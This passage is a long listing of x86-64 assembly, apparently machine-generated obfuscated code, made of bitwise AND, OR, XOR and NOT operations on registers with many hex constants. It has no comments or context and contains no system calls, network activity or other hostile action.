or eax, ebp
and ebp, 0xa55196b7
and ebx, 0x5aae6948
or ebx, ebp
xor ebx, edx
not eax
or eax, ebx
mov ebx, eax
not ebx
or eax, 0xcfa17fe6
mov ebp, eax
not ebp
or ebx, 0x305e8019
mov edx, ebx
not edx
and eax, 0x56bfa0d3
and ebp, 0x20400008
or ebp, eax
and ebx, 0x56bfa0d3
and edx, 0x89005f24
or edx, ebx
xor edx, ebp
mov eax, edx
not eax
and eax, 0xcfa17fe6
and edx, 0x305e8019
or edx, eax
mov eax, edx
not eax
and eax, 0xf0edf125
and edx, 0xf120eda
or edx, eax
mov eax, edx
xor eax, 0x502049a
xor edx, 0xa0604124
and edx, 0xaa704b64
and eax, 0x558fb49b
or eax, edx
mov r13d, eax
xor r13d, 0x600164
xor eax, 0x105108a
and eax, 0xab155a8a
and r13d, 0x54eaa575
or r13d, eax
mov r14d, r13d
xor r14d, 0x54eaa575
mov r8d, r13d
xor r8d, 0xab155a8a
mov ecx, dword [rsp + 0x38]
mov eax, ecx
and eax, 0x9ac761f2
and r10d, 0x65389e0d
or r10d, eax
mov eax, r10d
xor eax, 0x65389200
xor r10d, 0x806052
and r10d, 0x806c5f
and eax, 0xff7f93a0
or eax, r10d
mov edx, eax
xor edx, 0xd6391000
and edx, 0xd6393844
xor eax, 0x80441b
and eax, 0x29c6c7bb
or eax, edx
mov edx, eax
xor edx, 0xd6393844
and edx, eax
mov eax, ecx
and eax, 0x76451f03
and r15d, 0x89bae0fc
or r15d, eax
xor r15d, 0xa07c2747
or r15d, ecx
mov eax, r15d
not eax
mov ebp, edx
xor ebp, r15d
and ebp, edx
mov edi, edx
not edi
and edi, 0x7549fac9
and edx, 0x8ab60536
or edx, edi
and r15d, 0x7549fac9
and eax, 0x8ab60536
or eax, r15d
xor eax, edx
mov edx, ebp
not edx
mov edi, eax
not edi
mov esi, edx
and esi, 0xa57424c6
and ebp, 0x5a8bdb39
or ebp, esi
or edx, edi
and edi, 0xa57424c6
and eax, 0x5a8bdb39
or eax, edi
xor eax, ebp
not edx
or edx, eax
mov eax, edx
mov ebp, edx
xor ebp, 0xdc845501
and ebp, edx
not edx
and edx, 0x7b095c17
and eax, 0x84f6a3e8
or eax, edx
mov edx, eax
xor edx, 0x80800000
xor eax, 0x58005401
or eax, 0x237baafe
mov edi, ebp
not edi
mov esi, eax
and esi, 0x4f7d4bd5
and edx, 0x90801400
or edx, esi
or eax, edi
and edi, 0x4f7d4bd5
and ebp, 0xb082b42a
or ebp, edi
xor ebp, edx
not eax
or eax, ebp
mov edx, eax
not edx
and edx, 0xabd6d45
and eax, 0xf54292ba
or eax, edx
mov ebp, eax
not ebp
mov edx, ebp
and edx, eax
mov edi, edx
not edi
mov esi, eax
and esi, 0xf1566425
and ebp, 0xea99bda
or ebp, esi
or eax, edi
and edi, 0xf1566425
and edx, 0xea99bda
or edx, edi
xor edx, ebp
not eax
or eax, edx
and ecx, 0x696732d5
mov edx, ecx
and edx, r9d
xor r9d, ecx
or r9d, edx
mov edx, r9d
not edx
and edx, 0x1a1868ba
and r9d, 0xe5e79745
or r9d, edx
mov edx, r9d
xor edx, 0x8c80a590
xor r9d, 0x737f5a6f
mov ebp, eax
xor ebp, r9d
and ebp, eax
and r9d, eax
not eax
and eax, edx
or r9d, eax
mov eax, ebp
not eax
mov edx, r9d
not edx
mov edi, eax
and edi, 0x4ed47441
and ebp, 0xb12b8bbe
or ebp, edi
or eax, edx
and edx, 0x4ed47441
and r9d, 0xb12b8bbe
or r9d, edx
xor r9d, ebp
not eax
or eax, r9d
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0x27cb45fc
and ecx, eax
and eax, 0xd834ba03
or eax, edx
mov edx, eax
xor edx, 0x804a201
xor eax, 0x27cb45fc
mov ebp, ecx
not ebp
mov edi, eax
and edi, 0xd1f15c76
and edx, 0x2e0ea389
or edx, edi
or eax, ebp
and ebp, 0xd1f15c76
and ecx, 0x2e0ea389
or ecx, ebp
xor ecx, edx
not eax
or eax, ecx
mov esi, eax
not esi
and eax, 0xd22cd48c
and esi, 0x2dd32b73
or esi, eax
mov eax, esi
xor eax, 0xd22cd48c
xor esi, 0x2dd32b73
mov edi, esi
or edi, 0xa92383d9
mov ecx, edi
not ecx
mov r10d, esi
mov r12d, eax
mov ebp, esi
and esi, eax
mov r15d, eax
and r15d, esi
xor esi, eax
or eax, 0x56dc7c26
mov edx, eax
not edx
and edi, 0xe68e3fc0
and ecx, 0x10504026
or ecx, edi
and eax, 0xe68e3fc0
and edx, 0x9218019
or edx, eax
xor edx, ecx
mov eax, edx
not eax
and eax, 0xa92383d9
and edx, 0x56dc7c26
or edx, eax
mov eax, r8d
and eax, 0xb4e0856
mov ecx, r14d
and ecx, 0xf4b1f7a9
or ecx, eax
xor ecx, edx
xor ecx, 0xb4e0856
and ecx, edx
mov eax, edx
not eax
and eax, 0x4abca28
and edx, 0xfb5435d7
or edx, eax
xor edx, 0x4abca28
or edx, r8d
mov eax, edx
not eax
mov edi, ecx
not edi
mov ebx, edi
and ebx, 0xc10a660d
and ecx, 0x3ef599f2
or ecx, ebx
or edi, edx
and edx, 0xc10a660d
and eax, 0x3ef599f2
or eax, edx
xor eax, ecx
not edi
or edi, eax
mov eax, edi
not eax
mov ecx, edi
and ecx, 0xaddff438
and eax, 0x52200bc7
or eax, ecx
mov ecx, r14d
and ecx, 0xaddff438
mov edx, r8d
and edx, 0x52200bc7
or edx, ecx
xor edx, eax
or edi, r14d
not edi
or edi, edx
mov r11d, edi
not r11d
mov eax, r8d
and eax, 0xc317bd30
mov ecx, r14d
and ecx, 0x2008000c
or ecx, eax
mov eax, ecx
xor eax, 4
xor ecx, 0xdff7fff3
xor r13d, 0xb7f51849
and r13d, r14d
mov edx, r13d
not edx
mov ebx, ecx
and ebx, 0x3b5c21e8
and eax, 0xc0039c14
or eax, ebx
or ecx, edx
and edx, 0x3b5c21e8
and r13d, 0xc4a3de17
or r13d, edx
xor r13d, eax
not ecx
or ecx, r13d
mov eax, ecx
not eax
and eax, 0x1ce042c3
and ecx, 0xe31fbd3c
or ecx, eax
mov eax, ecx
not eax
and r10d, 0xbef421e5
and r12d, 0x410bde1a
or r12d, r10d
or ebp, ecx
and ecx, 0xbef421e5
and eax, 0x410bde1a
or eax, ecx
xor eax, r12d
not ebp
or ebp, eax
mov eax, ebp
not eax
and eax, 0x6b292755
and ebp, 0x94d6d8aa
or ebp, eax
mov eax, ebp
xor eax, 0x1414d08a
xor ebp, 0x6b292755
or esi, r15d
and r8d, 0xac76769
and r14d, 0xf5389896
or r14d, r8d
xor r14d, 0xf5389896
not esi
mov ecx, r14d
and ecx, esi
xor esi, r14d
or esi, ecx
mov edx, esi
not edx
mov r8d, ebp
or r8d, esi
mov ecx, r8d
not ecx
and ebp, 0xc3ea2d25
and eax, 0x3c15d2da
or eax, ebp
and esi, 0xc3ea2d25
and edx, 0x3c15d2da
or edx, esi
xor edx, eax
mov eax, edx
not eax
mov ebx, r8d
and ebx, 0xe690606a
and ecx, 0x196f9f95
or ecx, ebx
or r8d, eax
and eax, 0xe690606a
and edx, 0x196f9f95
or edx, eax
xor edx, ecx
not r8d
or r8d, edx
mov esi, r11d
mov ebp, edi
xor ebp, 0xaef6a5fd
and ebp, r11d
mov ecx, edi
and ecx, 0x4350f869
and r11d, 0xbcaf0796
or r11d, ecx
not r11d
or r11d, edi
and edi, 0x11014202
and esi, 0x40081800
or esi, edi
mov ecx, esi
xor ecx, 0x40001000
xor esi, 0xbff7e7ff
mov edx, ebp
not edx
mov eax, esi
and eax, 0xff8ca30
and ecx, 0x50011002
or ecx, eax
or esi, edx
and edx, 0xff8ca30
and ebp, 0xf00735cf
or ebp, edx
xor ebp, ecx
not esi
or esi, ebp
mov eax, esi
not eax
and eax, 0xaef6a5fd
and esi, 0x51095a02
or esi, eax
mov r15d, r8d
not r15d
mov eax, r8d
and eax, 0x5471a152
mov edx, r15d
and edx, 0xab8e5ead
or edx, eax
mov r9d, edx
xor r9d, 0x5471a152
mov r12d, esi
not r12d
mov r10d, r12d
and r10d, 0xbcaf0796
xor edx, 0xab8e5ead
mov eax, edx
and eax, 0xbcaf0796
mov r13d, r9d
and r13d, 0x4350f869
or r13d, eax
not r13d
or r13d, edx
and r9d, r12d
or r12d, edx
and edx, esi
xor esi, 0x4350f869
or esi, r10d
mov eax, esi
not eax
and eax, 0xd8d59720
and esi, 0x272a68df
or esi, eax
mov eax, esi
xor eax, 0x272a68df
mov ebx, r11d
not ebx
mov r10d, r13d
not r10d
and r15d, 0x3f2b5532
and r8d, 0xc0d4aacd
or r8d, r15d
mov ebp, r8d
xor ebp, 0x4050a849
and ebp, 0x4350f869
xor r8d, 0x838452a4
or r8d, ebp
mov ebp, esi
xor ebp, 0xd8d59720
xor esi, 0xa30c17e
and esi, ebp
mov edi, eax
and edi, 0xd2e5565e
mov ecx, r11d
xor ecx, 0xd2e5565e
and ecx, r11d
mov r15d, esi
and r15d, edi
xor edi, esi
mov esi, ebx
and esi, 0xd2e5565e
or edi, r15d
mov r15d, ecx
and r15d, esi
xor esi, ecx
mov r14d, r8d
not r14d
or esi, r15d
mov ecx, edi
not ecx
and ecx, esi
not esi
and esi, edi
or esi, ecx
mov ecx, eax
and ecx, 0x38e32e7
and ebp, 0xfc71cd18
or ebp, ecx
or eax, ebx
and ebx, 0x38e32e7
and r11d, 0xfc71cd18
or r11d, ebx
xor r11d, ebp
not eax
or eax, r11d
not eax
mov ecx, esi
and ecx, eax
xor eax, esi
or eax, ecx
mov ecx, r13d
or ecx, r8d
not ecx
and r13d, 0x80f768b
and r10d, 0xf7f08974
or r10d, r13d
and r8d, 0x80f768b
and r14d, 0xf7f08974
or r14d, r8d
xor r14d, r10d
mov ebp, ecx
and ebp, r14d
xor r14d, ecx
or r14d, ebp
not r14d
mov ebp, eax
xor ebp, r14d
mov ecx, eax
not ebp
and ebp, eax
not eax
and eax, 0xe885166d
and ecx, 0x177ae992
or ecx, eax
xor ecx, 0xe885166d
or ecx, r14d
mov eax, ecx
not eax
mov ebx, ebp
not ebx
mov edi, ecx
and edi, 0xb25860da
and eax, 0x4da79f25
or eax, edi
or ecx, ebx
and ebx, 0xb25860da
and ebp, 0x4da79f25
or ebp, ebx
xor ebp, eax
not ecx
or ecx, ebp
not r12d
or edx, r9d
mov eax, r12d
and eax, edx
xor edx, r12d
or edx, eax
mov eax, edx
not eax
and eax, 0x68c00010
mov ebp, edx
and ebp, 0x10208884
or ebp, eax
xor ebp, 0x10208884
and edx, 0x871f776b
or edx, ebp
mov eax, edx
not eax
and eax, 0xc5beb71d
and edx, 0x3a4148e2
or edx, eax
mov eax, edx
xor eax, 0x42a08012
xor edx, 0xbd5e3f89
mov ebp, edx
and ebp, 0x985764e4
and eax, 0x67a89b1b
or eax, ebp
xor eax, 0x985764e4
xor edx, eax
and edx, eax
mov eax, ecx
not eax
and eax, edx
not edx
mov ebp, ecx
xor ebp, edx
and ebp, ecx
and edx, ecx
or edx, eax
mov r11d, ebp
not r11d
mov eax, edx
not eax
mov ecx, r11d
and ecx, 0x186d1988
and ebp, 0xe792e677
or ebp, ecx
or r11d, eax
and eax, 0x186d1988
and edx, 0xe792e677
or edx, eax
xor edx, ebp
not r11d
or r11d, edx
mov r8d, r11d
not r8d
mov eax, r11d
and eax, 0xc5eaed37
mov ecx, r8d
and ecx, 0x3a1512c8
or ecx, eax
mov edx, ecx
xor edx, 0x8142c830
xor ecx, 0x141040
and ecx, 0x44bc3547
and edx, 0xbb43cab8
or edx, ecx
not edx
mov r9d, edx
or r9d, 0x44bc3547
mov ecx, r9d
not ecx
mov edi, r8d
and edi, 0xbb43cab8
mov eax, r11d
and eax, 0x44bc3547
or eax, edi
not eax
or eax, r8d
mov r10d, eax
not r10d
mov ebx, r9d
xor ebx, 0x364f4ebd
and ebx, r9d
or edx, 0xcdbcb547
mov edi, edx
not edi
mov r14d, r10d
or r14d, 0x364f4ebd
mov r12d, r14d
not r12d
mov r15d, eax
or r15d, 0xc9b0b142
mov ebp, ebx
not ebp
mov esi, ebp
and esi, 0x9245ce0d
and ebx, 0x293231f0
or ebx, esi
mov esi, r15d
not esi
or ebp, edx
and edx, 0xd2c5ce0f
and edi, 0x200200b0
or edi, edx
xor edi, ebx
not ebp
or ebp, edi
and r14d, 0xb77926dd
and r12d, 0x48809102
or r12d, r14d
and r15d, 0xb77926dd
and esi, 0x64820
or esi, r15d
xor esi, r12d
mov edx, ebp
not edx
and edx, 0xa93d5e00
and ebp, 0x52c2a1fd
or ebp, edx
mov edx, esi
not edx
and edx, 0xa93d5e02
and esi, 0x56c2a1fd
or esi, edx
xor esi, ebp
mov edx, ecx
and edx, 0x99430200
and r9d, 0x62a8f8bd
or r9d, edx
or ecx, r10d
and r10d, 0x9d570742
and eax, 0x62a8f8bd
or eax, r10d
xor eax, r9d
not ecx
or ecx, eax
not ecx
mov eax, esi
and eax, ecx
xor ecx, esi
or ecx, eax
mov eax, ecx
not eax
and eax, 0xb43101
mov edx, ecx
and edx, 0x44080446
or edx, eax
xor edx, 0x44080446
and ecx, 0xbb43cab8
or ecx, edx
mov eax, ecx
not eax
mov edx, eax
and edx, 0x75c3806c
and eax, ecx
and ecx, 0x8a3c7f93
or ecx, edx
xor ecx, 0x8a3c7f93
mov edx, ecx
and edx, eax
xor ecx, eax
or ecx, edx
mov edx, ecx
not edx
mov eax, ecx
or eax, 0x90355ec5
mov ebp, eax
not ebp
mov ebx, ecx
xor ebx, 0x6fcaa13a
and ebx, ecx
mov edi, ebx
not edi
mov esi, eax
and esi, 0xd1ec72b0
and ebp, 0x2e02810a
or ebp, esi
or eax, edi
and edi, 0xd1ec72b0
and ebx, 0x2e138d4f
or ebx, edi
xor ebx, ebp
not eax
or eax, ebx
mov ebp, eax
not ebp
and ebp, 0x83723ae1
and eax, 0x7c8dc51e
or eax, ebp
mov ebp, eax
xor ebp, 0x88067044
and ecx, 0x8d9a839c
mov ebx, edx
and ebx, 0x72657c63
or ebx, ecx
xor ebx, 0x52d397fe
and edx, 0xdf491462
or edx, ebx
mov ecx, edx
not ecx
and ecx, 0xb10a2f2f
and edx, 0x4ef5d0d0
or edx, ecx
mov ecx, edx
xor ecx, 0x8b4d040
xor edx, 0xb10a2f2f
xor eax, 0x33f18fb9
mov ebx, eax
and ebx, 0x67490d9b
and ebp, 0x98b6f264
or ebp, ebx
or eax, edx
and edx, 0x67490d9b
and ecx, 0x98b6f264
or ecx, edx
xor ecx, ebp
not eax
or eax, ecx
mov edx, eax
not edx
and eax, 0x9679fe01
and edx, 0x698601fe
or edx, eax
mov r9d, edx
xor r9d, 0x441ea01
xor edx, 0x698601fe
mov eax, edx
and eax, 0xfa3815bc
and r9d, 0x5c7ea43
or r9d, eax
xor r9d, 0x5c7ea43
or r9d, edx
mov r15d, r9d
not r15d
and r8d, 0xf9200901
mov eax, r11d
and eax, 0x8300d0
or eax, r8d
xor eax, 0x8300d0
and r11d, 0x65cf62e
or r11d, eax
mov eax, r11d
not eax
and eax, 0xfc845f0d
and r11d, 0x37ba0f2
or r11d, eax
mov ebp, r11d
xor ebp, 0xfad8a923
xor r11d, 0x5011440
mov eax, ebp
and eax, 0xdf491462
and r11d, 0xdf491462
and ebp, 0x20b6eb9d
or ebp, r11d
mov ebx, eax
and ebx, ebp
xor ebp, eax
or ebp, ebx
mov eax, ebp
mov ebx, ebp
xor ebx, 0x66f35d4e
and ebx, ebp
not ebp
and ebp, 0x9c3aa1fd
and eax, 0x63c55e02
or eax, ebp
mov ebp, eax
xor ebp, 0x60414002
xor eax, 0x432014c
or eax, 0x990ca2b1
mov edi, ebx
not edi
mov esi, eax
and esi, 0x1f8c1e49
and ebp, 0x60734106
or ebp, esi
or eax, edi
and edi, 0x1f8c1e49
and ebx, 0xe073e1b6
or ebx, edi
xor ebx, ebp
not eax
or eax, ebx
mov ebp, eax
not ebp
and ebp, 0x990ca2b1
and eax, 0x66f35d4e
or eax, ebp
mov r12d, eax
not r12d
mov ebx, r12d
and ebx, 0x729f758c
and eax, 0x8d608a73
or eax, ebx
xor eax, 0x729f758c
xor r12d, eax
and r12d, eax
mov eax, r9d
and eax, 0x20040020
mov edx, r15d
and edx, 0x91102488
or edx, eax
xor edx, 0x91102488
mov eax, r15d
and eax, 0x4eebdb57
or eax, edx
mov edx, eax
not edx
and edx, 0x9d8c0577
and eax, 0x6273fa88
or eax, edx
mov r8d, eax
xor r8d, 0xd367de20
mov ecx, r12d
not ecx
mov edx, ecx
and edx, 0x8d8e03a
mov r14d, r12d
and r14d, 0xf7271fc5
or r14d, edx
mov edx, r14d
xor edx, 0x10271c40
xor r14d, 0x8d8e03a
mov ebp, ecx
and ebp, r12d
mov ebx, ebp
not ebx
mov edi, r14d
and edi, 0xef10439d
and edx, 0x10efbc62
or edx, edi
or r14d, ebx
and ebx, 0xef10439d
and ebp, 0x10efbc62
or ebp, ebx
xor ebp, edx
not r14d
or r14d, ebp
mov r10d, eax
xor r10d, 0x2c9821df
mov edx, r10d
and edx, 0x88a4b5dc
xor eax, 0xa43c9403
or eax, edx
mov edx, eax
not edx
and edx, 0x1af1cd7a
and eax, 0xe50e3285
or eax, edx
mov r11d, eax
xor r11d, 0x44082205
xor eax, 0x1af1cd7a
and r9d, 0x90f39d83
and r15d, 0x6f0c627c
or r15d, r9d
mov esi, r15d
xor esi, 0x6f0c627c
xor r15d, 0x80118c01
and r15d, 0xc31d8e15
mov edx, esi
and edx, 0x3ce271ea
or edx, r15d
xor edx, 0xb446c436
and esi, 0x775b4a23
or esi, edx
mov edx, esi
not edx
and edx, 0x9873e83e
and esi, 0x678c17c1
or esi, edx
mov edx, esi
xor edx, 0x678c1680
xor esi, 0x9873e83e
mov r9d, r14d
not r9d
mov ebx, r9d
and ebx, 0x88a4b5dc
mov edi, r14d
and edi, 0x775b4a23
or edi, ebx
not edi
or edi, r9d
mov r15d, edi
not r15d
mov ebx, ecx
and ebx, 0x775b4a23
and r12d, 0x88a4b5dc
or r12d, ebx
xor ecx, r12d
and ecx, r12d
mov ebx, esi
and ebx, 0x8800294d
and edx, 0x77ffd6b2
or edx, ebx
mov ebx, edx
xor ebx, 0x77ffd6b2
xor edx, 0x214675d5
and edx, ebx
mov r12d, eax
and r12d, ebx
xor ebx, eax
and eax, 0xa9465c98
and r11d, 0x56b9a367
or r11d, eax
or esi, 0xa9465c98
mov eax, edx
not eax
mov ebp, eax
and ebp, 0xdda1b162
and edx, 0x225e4e9d
or edx, ebp
mov ebp, esi
not ebp
or eax, esi
and esi, 0xdda1b162
and ebp, 0x2180205
or ebp, esi
xor ebp, edx
not eax
or eax, ebp
mov edx, r11d
not edx
and edx, eax
not eax
and eax, r11d
or eax, edx
or ebx, r12d
not ebx
mov edx, eax
and edx, ebx
xor ebx, eax
or ebx, edx
mov edx, ecx
not edx
mov eax, edi
or eax, edx
mov ebp, eax
not ebp
and edi, 0xf4bb17e4
and r15d, 0xb44e81b
or r15d, edi
and edx, 0xf4bb17e4
and ecx, 0xb44e81b
or ecx, edx
xor ecx, r15d
mov edx, ecx
not edx
mov edi, eax
and edi, 0x4e65ec1b
and ebp, 0xb19a13e4
or ebp, edi
or eax, edx
and edx, 0x4e65ec1b
and ecx, 0xb19a13e4
or ecx, edx
xor ecx, ebp
not eax
or eax, ecx
mov ecx, ebx
xor ecx, 0x764f1c36
and ecx, ebx
not ebx
and ebx, 0x764f1c36
mov edx, eax
not edx
and edx, 0x764f1c36
and eax, 0x89b0e3c9
or eax, edx
mov edx, ebx
and edx, ecx
xor ecx, ebx
or ecx, edx
mov edx, ecx
not edx
and edx, eax
not eax
and eax, ecx
or eax, edx
and r14d, r10d
or r10d, r9d
not r10d
and r9d, r8d
or r9d, r14d
mov ecx, r10d
and ecx, r9d
xor r9d, r10d
or r9d, ecx
mov ecx, r9d
not ecx
and r9d, 0x880b0906
and ecx, 0x77f4f6f9
or ecx, r9d
mov ebp, ecx
xor ebp, 0x80000104
xor ecx, 0x66f4a429
and ecx, 0x6effac2b
and ebp, 0x910053d4
or ebp, ecx
mov edx, ebp
xor edx, 0x900003c4
xor ebp, 0x644ea801
and ebp, 0x654ef811
and edx, 0x9ab107ee
or edx, ebp
mov ecx, edx
xor ecx, 0x9ab107ee
xor edx, 0x654ef811
mov ebp, eax
xor ebp, edx
and ebp, eax
and edx, eax
not eax
and eax, ecx
or edx, eax
mov eax, ebp
and eax, edx
xor edx, ebp
or edx, eax
mov ebp, edx
not ebp
mov eax, edx
xor eax, 0x66af29f3
and eax, edx
mov ecx, ebp
and ecx, 0x20b6eb9d
and edx, 0xdf491462
or edx, ecx
not edx
or edx, ebp
and ebp, 0x66af29f3
mov ecx, ebp
and ecx, eax
xor eax, ebp
or eax, ecx
mov ecx, eax
not ecx
and ecx, 0x9950d60c
and eax, 0x66af29f3
or eax, ecx
mov ecx, eax
not ecx
and eax, 0xd8690bd1
and ecx, 0x2796f42e
or ecx, eax
mov eax, ecx
xor eax, 0xf8dfe04c
xor ecx, 0x2796f42e
and ecx, eax
mov eax, edx
not eax
mov ebp, ecx
xor ebp, edx
and ebp, ecx
and edx, ecx
not ecx
and ecx, eax
or edx, ecx
mov r10d, ebp
not r10d
mov eax, edx
not eax
mov ecx, r10d
and ecx, 0xf3a48b09
and ebp, 0xc5b74f6
or ebp, ecx
or r10d, eax
and eax, 0xf3a48b09
and edx, 0xc5b74f6
or edx, eax
xor edx, ebp
not r10d
or r10d, edx
mov r8d, r10d
not r8d
mov eax, r8d
and eax, 0x7293f451
mov ecx, r10d
xor ecx, 0x7293f451
and ecx, r10d
mov edx, eax
and edx, ecx
xor ecx, eax
or ecx, edx
mov eax, ecx
not eax
and eax, 0x8d6c0bae
and ecx, 0x7293f451
or ecx, eax
mov eax, ecx
not eax
and eax, 0xb00e3261
and ecx, 0x4ff1cd9e
or ecx, eax
mov ebp, ecx
xor ebp, 0xb00e3261
and ebp, ecx
mov eax, r8d
and eax, 0xd62810f0
mov ecx, r10d
and ecx, 0x29d7ef0f
or ecx, eax
mov eax, ecx
xor eax, 0x9d1cd0e
and eax, 0x4ff1cd9e
xor ecx, 0x66262291
or ecx, eax
mov eax, ecx
not eax
and eax, 0xb3138814
and ecx, 0x4cec77eb
or ecx, eax
mov r11d, ecx
xor r11d, 0x4cec77eb
mov r9d, ebp
not r9d
mov r14d, ecx
xor r14d, 0xb3138814
mov edx, ebp
xor edx, 0x67ad7cfe
and edx, r9d
mov eax, r9d
or eax, 0x67ad7cfe
mov edi, eax
not edi
xor ecx, 0x2b410b15
mov r15d, ecx
and r15d, r14d
and ecx, r11d
mov esi, edx
not esi
mov ebx, esi
and ebx, 0x75a86e0a
and edx, 0x8a5791f5
or edx, ebx
or esi, eax
and eax, 0x75a86e0a
and edi, 0x88528101
or edi, eax
xor edi, edx
not esi
or esi, edi
mov edi, r15d
not edi
mov eax, ecx
not eax
mov edx, edi
and edx, 0x51eab9ac
and r15d, 0xae154653
or r15d, edx
or edi, eax
and eax, 0x51eab9ac
and ecx, 0xae154653
or ecx, eax
xor ecx, r15d
not edi
or edi, ecx
mov eax, esi
not eax
and eax, 0xecc50ec3
and esi, 0x133af13c
or esi, eax
mov eax, edi
not eax
and eax, 0xecc50ec3
and edi, 0x133af13c
or edi, eax
xor edi, esi
mov eax, ebp
and eax, 0x4de1ed2f
and r9d, 0xb21e12d0
or r9d, eax
or ebp, r11d
and r11d, 0x4de1ed2f
and r14d, 0xb21e12d0
or r14d, r11d
xor r14d, r9d
not ebp
or ebp, r14d
not ebp
mov eax, edi
and eax, ebp
xor ebp, edi
or ebp, eax
mov eax, ebp
xor eax, 0x1b2e1ea0
and eax, ebp
mov r12d, ebp
or r12d, 0xe4d1e15f
mov ecx, r12d
not ecx
mov ebp, eax
not ebp
mov edx, r12d
and edx, 0xf9fb49f6
and ecx, 0x2041600
or ecx, edx
or r12d, ebp
and ebp, 0xf9fb49f6
and eax, 0x604b609
or eax, ebp
xor eax, ecx
not r12d
or r12d, eax
mov eax, r12d
not eax
and eax, 0x99da344e
and r12d, 0x6625cbb1
or r12d, eax
mov r9d, r12d
xor r9d, 0x32fa188f
mov r11d, r12d
xor r11d, 0xcd05e770
mov ecx, r12d
xor ecx, 0x10100b
mov eax, r11d
or eax, 0xb9912fb
mov ebp, eax
not ebp
or ecx, 0x70024c04
and ecx, 0x79135c0f
mov edx, r11d
and edx, 0x28802f0
or edx, ecx
and eax, 0x79135c0f
and ebp, 0x8464a100
or ebp, eax
xor ebp, edx
mov r15d, ebp
not r15d
mov eax, r15d
and eax, 0x67909b6e
and ebp, 0x986f6491
or ebp, eax
mov r14d, r9d
xor r14d, r11d
and r14d, r9d
xor r12d, 0x2e2bdca
and r12d, r9d
and r9d, 0x67909b6e
mov eax, r11d
and eax, 0x986f6491
or eax, r9d
xor eax, ebp
xor r15d, eax
and r15d, eax
mov ecx, r8d
and ecx, 0xac5302eb
mov eax, r10d
xor eax, 0xac5302eb
and eax, r10d
mov edx, ecx
and edx, eax
xor eax, ecx
or eax, edx
mov ecx, eax
not ecx
and ecx, 0x5835efef
and eax, 0xa7ca1010
or eax, ecx
mov ecx, eax
not ecx
and ecx, 0xb74c3474
and eax, 0x48b3cb8b
or eax, ecx
mov ecx, eax
xor ecx, 0x40120080
and r8d, 0xe8c98e3c
and r10d, 0x173671c3
or r10d, r8d
mov edx, r10d
xor edx, 0x41610c0
xor eax, 0xb74c3474
xor r10d, 0xe8c98e3c
mov ebp, eax
and ebp, 0x3be9ef0b
and ecx, 0xc41610f4
or ecx, ebp
or eax, r10d
and r10d, 0x3be9ef0b
and edx, 0xc41610f4
or edx, r10d
xor edx, ecx
not eax
or eax, edx
mov ecx, eax
not ecx
and ecx, 0x34562134
and eax, 0xcba9decb
or eax, ecx
mov ecx, eax
xor ecx, 0xcba9decb
xor eax, 0x14060134
mov edx, r15d
not edx
mov ebp, edx
and ebp, 0x7342d632
mov ebx, r15d
and ebx, 0x8cbd29cd
or ebx, ebp
xor ebx, ecx
mov ebp, edx
and ebp, 0x75192ac9
and r15d, 0x8ae6d536
or r15d, ebp
mov esi, r15d
xor esi, 0x8a26c536
xor r15d, 0x75192ac9
mov ebp, r15d
and ebp, 0x20d83080
and esi, 0xdf27cf7f
or esi, ebp
or r15d, ecx
xor ebx, 0x7342d632
and ebx, ecx
or edx, ecx
and ecx, 0x20d83080
and eax, 0xdf27cf7f
or eax, ecx
xor eax, esi
not r15d
or r15d, eax
mov eax, r15d
not eax
and eax, 0x96ad35a3
and r15d, 0x6952ca5c
or r15d, eax
mov eax, r15d
xor eax, 0x28428a54
xor r15d, 0x96ad35a3
mov ecx, edx
not ecx
mov edi, ebx
not edi
mov ebp, edi
and ebp, 0x6c23933f
and ebx, 0x93dc6cc0
or ebx, ebp
or edi, edx
and edx, 0x6c23933f
and ecx, 0x93dc6cc0
or ecx, edx
xor ecx, ebx
not edi
or edi, ecx
mov ecx, r15d
and ecx, 0x453840ab
and eax, 0xbac7bf54
or eax, ecx
mov r8d, eax
xor r8d, 0x98013d00
mov edx, edi
mov ebp, edi
xor ebp, 0xd14020bd
and ebp, edi
not edi
and edi, 0x94e35d3
and edx, 0xf6b1ca2c
or edx, edi
mov ebx, edx
xor ebx, 0xf6b1ca2c
xor eax, 0x453840ab
mov esi, eax
or esi, 0x2ebfdf42
mov edi, esi
not edi
or r15d, 0xd14020bd
mov ecx, r15d
not ecx
xor edx, 0x94e35d3
mov r9d, ebx
and r9d, 0xd14020bd
and esi, 0xcb581282
and edi, 0x1000203d
or edi, esi
and r15d, 0xcb581282
and ecx, 0x24a7cd40
or ecx, r15d
xor ecx, edi
mov edi, r9d
and edi, ebp
xor ebp, r9d
or ebp, edi
mov edi, ecx
not edi
and edi, 0xa31bf204
and ecx, 0x5ce40dfb
or ecx, edi
mov edi, ebp
not edi
and edi, 0xa31bf204
and ebp, 0x5ce40dfb
or ebp, edi
xor ebp, ecx
mov ecx, eax
and ecx, 0x22d6c27c
and r8d, 0xdd293d83
or r8d, ecx
or eax, edx
and edx, 0x22d6c27c
and ebx, 0xdd293d83
or ebx, edx
xor ebx, r8d
not eax
or eax, ebx
mov edx, eax
not edx
mov ecx, ebp
not ecx
mov ebx, ecx
and ebx, 0xcff8438b
and ebp, 0x3007bc74
or ebp, ebx
or ecx, eax
and eax, 0xcff8438b
and edx, 0x3007bc74
or edx, eax
xor edx, ebp
not ecx
or ecx, edx
mov eax, ecx
not eax
mov edx, ecx
xor edx, 0xcc0626f
and edx, ecx
mov ebp, eax
and ebp, 0xf2ba1fe2
and ecx, 0xd45e01d
or ecx, ebp
xor ecx, 0x278e76d8
or ecx, eax
and eax, 0xcc0626f
mov ebp, eax
and ebp, edx
xor edx, eax
or edx, ebp
mov eax, edx
not eax
and eax, 0x8b6275af
and edx, 0x749d8a50
or edx, eax
mov eax, edx
xor eax, 0x28498005
xor edx, 0x85200100
and edx, 0xd534693a
and eax, 0x2acb96c5
or eax, edx
mov ebp, eax
xor ebp, 0xd534693a
and ebp, eax
mov eax, ecx
not eax
mov ebx, ebp
xor ebx, ecx
and ebx, ebp
and ecx, ebp
not ebp
and ebp, eax
or ecx, ebp
mov edx, ebx
not edx
mov eax, ecx
not eax
mov ebp, edx
and ebp, 0x937acff
and ebx, 0xf6c85300
or ebx, ebp
or edx, eax
and eax, 0x937acff
and ecx, 0xf6c85300
or ecx, eax
xor ecx, ebx
not edx
or edx, ecx
mov r9d, edx
mov ecx, edx
xor ecx, 0xcb928dd9
and ecx, edx
not edx
and edx, 0xb2230390
and r9d, 0x4ddcfc6f
or r9d, edx
mov edx, r9d
xor edx, 0x41808000
xor r9d, 0x82020190
or r9d, 0x346d7226
mov ebp, ecx
not ebp
mov eax, r9d
